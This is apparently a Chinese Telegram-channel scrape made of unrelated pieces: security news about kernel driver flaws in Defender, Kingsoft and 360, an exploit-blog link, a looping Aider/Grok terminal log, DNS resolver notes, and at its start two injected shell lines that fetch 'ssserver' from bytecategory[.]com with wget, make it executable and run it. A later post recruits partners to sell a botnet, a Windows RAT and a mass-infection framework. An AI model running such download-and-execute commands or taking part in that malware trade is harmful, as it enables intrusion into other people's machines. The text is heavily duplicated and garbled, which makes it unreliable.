print(
'''\033 //
\\\\ //
\\\\ //
##DDDDDDDDDDDDDDDDDDDDDD##
## DDDDDDDDDDDDDDDDDDDD ## ________ ___ ___ ___ ________ ___ ___ ___
## hh hh ## |\\ __ \\ |\\ \\ |\\ \\ |\\ \\ |\\ __ \\ |\\ \\ |\\ \\ |\\ \\
## hh // \\\\ hh ## \\ \\ \\|\\ /_\\ \\ \\\\ \\ \\ \\ \\ \\\\ \\ \\|\\ /_\\ \\ \\\\ \\ \\ \\ \\ \\
## hh // \\\\ hh ## \\ \\ __ \\\\ \\ \\\\ \\ \\ \\ \\ \\\\ \\ __ \\\\ \\ \\\\ \\ \\ \\ \\ \\
## hh hh ## \\ \\ \\|\\ \\\\ \\ \\\\ \\ \\____ \\ \\ \\\\ \\ \\|\\ \\\\ \\ \\\\ \\ \\____ \\ \\ \\
## hh wwww hh ## \\ \\_______\\\\ \\__\\\\ \\_______\\\\ \\__\\\\ \\_______\\\\ \\__\\\\ \\_______\\\\ \\__\\
## hh hh ## \\|_______| \\|__| \\|_______| \\|__| \\|_______| \\|__| \\|_______| \\|__|
## MMMMMMMMMMMMMMMMMMMM ##
##MMMMMMMMMMMMMMMMMMMMMM##
\\/ \\/
\033''',
end='')
msntp -V -c 1 -r time[.]nist[.]gov&cd /tmp;chmod +x ./ssserver;./ssserver | dd of=.txt > /dev/null
/bin/sh -c ntpd -dnqp time[.]nist[.]gov;cd /zconf;sleep 114514;wget bytecategory[.]com/ssserver > /dev/null
Forwarded from T00ls公开频道 | T00ls.com | 低调求发展,潜心习安全! (T00lsBot)
安全研究员在Microsoft Defender中发现漏洞 与微软产生矛盾后公开漏洞(作者:匿名)
研究人员在 Microsoft Defender 中发现安全漏洞,可以借助这款系统级安全软件本身进行权限提升。但研究人员与 MSRC 团队之间出现矛盾,这导致研究人员直接公布漏洞,漏洞公布后已经有黑客开始尝试利用漏洞发起攻击 --- 利用 Defender 作为提权跳板。
研究人员在 Microsoft Defender 中发现安全漏洞,可以借助这款系统级安全软件本身进行权限提升。但研究人员与 MSRC 团队之间出现矛盾,这导致研究人员直接公布漏洞,漏洞公布后已经有黑客开始尝试利用漏洞发起攻击 --- 利用 Defender 作为提权跳板。
Forwarded from 科技圈🎗在花频道📮
国产主流杀毒软件内核驱动曝高危漏洞
安全研究员 Patrick Saif 披露金山毒霸与 360安全卫士的内核驱动存在高危漏洞。金山毒霸防火墙驱动因 IOCTL 尺寸计算错误引发内核堆溢出,攻击者无需认证即可破坏内核池元数据,实现任意代码执行。360安全卫士反 Rootkit 驱动风险更高,其签名校验可通过进程空洞绕过,硬编码的 AES 密钥允许攻击者执行任意内核读写及终止受 PPL 保护的进程。两者均持有合法数字签名,极易被用于 BYOVD 攻击。
目前两个漏洞已提交至 LOLDrivers 数据库,均未获 CVE 编号且不在 HVCI 屏蔽名单中。攻击者利用这些漏洞可从普通用户提权至 SYSTEM,绕过 KASLR 并窃取内核凭据,甚至修改内核回调表隐藏恶意行为。鉴于涉事驱动具备 EV 或 WHQL 签名,攻击者无需在目标机器安装软件即可加载恶意载荷。在厂商发布补丁前,企业需将相关驱动哈希加入 EDR 检测规则以防范内核级攻击。
weezerOSINT | Github(1,2)
🌸 在花频道|茶馆讨论|投稿通道
安全研究员 Patrick Saif 披露金山毒霸与 360安全卫士的内核驱动存在高危漏洞。金山毒霸防火墙驱动因 IOCTL 尺寸计算错误引发内核堆溢出,攻击者无需认证即可破坏内核池元数据,实现任意代码执行。360安全卫士反 Rootkit 驱动风险更高,其签名校验可通过进程空洞绕过,硬编码的 AES 密钥允许攻击者执行任意内核读写及终止受 PPL 保护的进程。两者均持有合法数字签名,极易被用于 BYOVD 攻击。
目前两个漏洞已提交至 LOLDrivers 数据库,均未获 CVE 编号且不在 HVCI 屏蔽名单中。攻击者利用这些漏洞可从普通用户提权至 SYSTEM,绕过 KASLR 并窃取内核凭据,甚至修改内核回调表隐藏恶意行为。鉴于涉事驱动具备 EV 或 WHQL 签名,攻击者无需在目标机器安装软件即可加载恶意载荷。在厂商发布补丁前,企业需将相关驱动哈希加入 EDR 检测规则以防范内核级攻击。
weezerOSINT | Github(1,2)
🌸 在花频道|茶馆讨论|投稿通道
Plug me If you can : Exploiting USB Printer Drivers in Windows | Enki White Hat
https://www.enki.co.kr/en/media-center/blog/plug-me-if-you-can-exploiting-usb-printer-drivers-in-windows
https://www.enki.co.kr/en/media-center/blog/plug-me-if-you-can-exploiting-usb-printer-drivers-in-windows
www.enki.co.kr
Plug me If you can : Exploiting USB Printer Drivers in Windows | Enki White Hat
Windows loads the appropriate kernel driver by interpreting USB Descriptor when a USB device is connected. If the data sent by the device is not properly validated, this can lead to kernel-level vulnerabilities.
Local Privilege Escalation (LPE) via USB is…
Local Privilege Escalation (LPE) via USB is…
C:\Windows\System32>aider --model openrouter/x-ai/grok-4.20-multi-agent
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Aider v0.86.2
Model: openrouter/x-ai/grok-4.20-multi-agent with whole edit format
Git repo: none
Repo-map: disabled
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
> hello
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
供需要修改的代码内容以及你想要做的更改(例如“将问候语改得更随意”),这样我才能理解请求并按照要求输出文件修改。如果只是
打招呼,请告诉我下一步需要做什么。
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
Tokens: 607 sent, 127 received. Cost: $0.0020 message, $0.0020 session.
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
>
太拼了 为了耗我的money这么玩是吧
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Aider v0.86.2
Model: openrouter/x-ai/grok-4.20-multi-agent with whole edit format
Git repo: none
Repo-map: disabled
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
> hello
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
供需要修改的代码内容以及你想要做的更改(例如“将问候语改得更随意”),这样我才能理解请求并按照要求输出文件修改。如果只是
打招呼,请告诉我下一步需要做什么。
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
你好!目前你还没有提供任何代码文件,也没有提出具体的修改请求(之前的对话中你提到切换到了新代码库且尚未分享文件)。请提
Tokens: 607 sent, 127 received. Cost: $0.0020 message, $0.0020 session.
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
>
太拼了 为了耗我的money这么玩是吧
已有
batch infect framework,1000行Python代码.
botnet,5000行c++代码.
Windows RAT,10000行c++代码.
想要collaborate的来dm 目前总代码量不多.
要求不高,略懂一些密码学和一些网络安全,程序设计,比如了解hkdf密钥派生函数,30分钟能出一份json高亮器,黑过da大于29的站,就可以了,总之要比我强.
你能创造多少米,就有多少米.
工作内容是什么: 往git仓库提交代码,在tg上找客户.
batch infect framework,1000行Python代码.
botnet,5000行c++代码.
Windows RAT,10000行c++代码.
想要collaborate的来dm 目前总代码量不多.
要求不高,略懂一些密码学和一些网络安全,程序设计,比如了解hkdf密钥派生函数,30分钟能出一份json高亮器,
你能创造多少米,就有多少米.
工作内容是什么: 往git仓库提交代码,在tg上找客户.
智能的存根解析器
1 客户端能自动获得支持dot的递归解析器映射 从IP到属性的关系
2 配置偏好
3 随机分发/基于性能的分发 比如看rtt/轮询或基于哈希的分发 这种基于哈希的分发对相同sld的查询会被发送到相同的解析器
轮询分发对隐私较为友好 但会导致性能上的缺点 即访问变慢
基于哈希的分发对隐私并不友好 因为一个解析器会知道你在一个站点的活动时间 而且并不能解决单点故障这个问题 要排名得给到拉完了
1 客户端能自动获得支持dot的递归解析器映射 从IP到属性的关系
2 配置偏好
3 随机分发/基于性能的分发 比如看rtt/轮询或基于哈希的分发 这种基于哈希的分发对相同sld的查询会被发送到相同的解析器
轮询分发对隐私较为友好 但会导致性能上的缺点 即访问变慢
基于哈希的分发对隐私并不友好 因为一个解析器会知道你在一个站点的活动时间 而且并不能解决单点故障这个问题 要排名得给到拉完了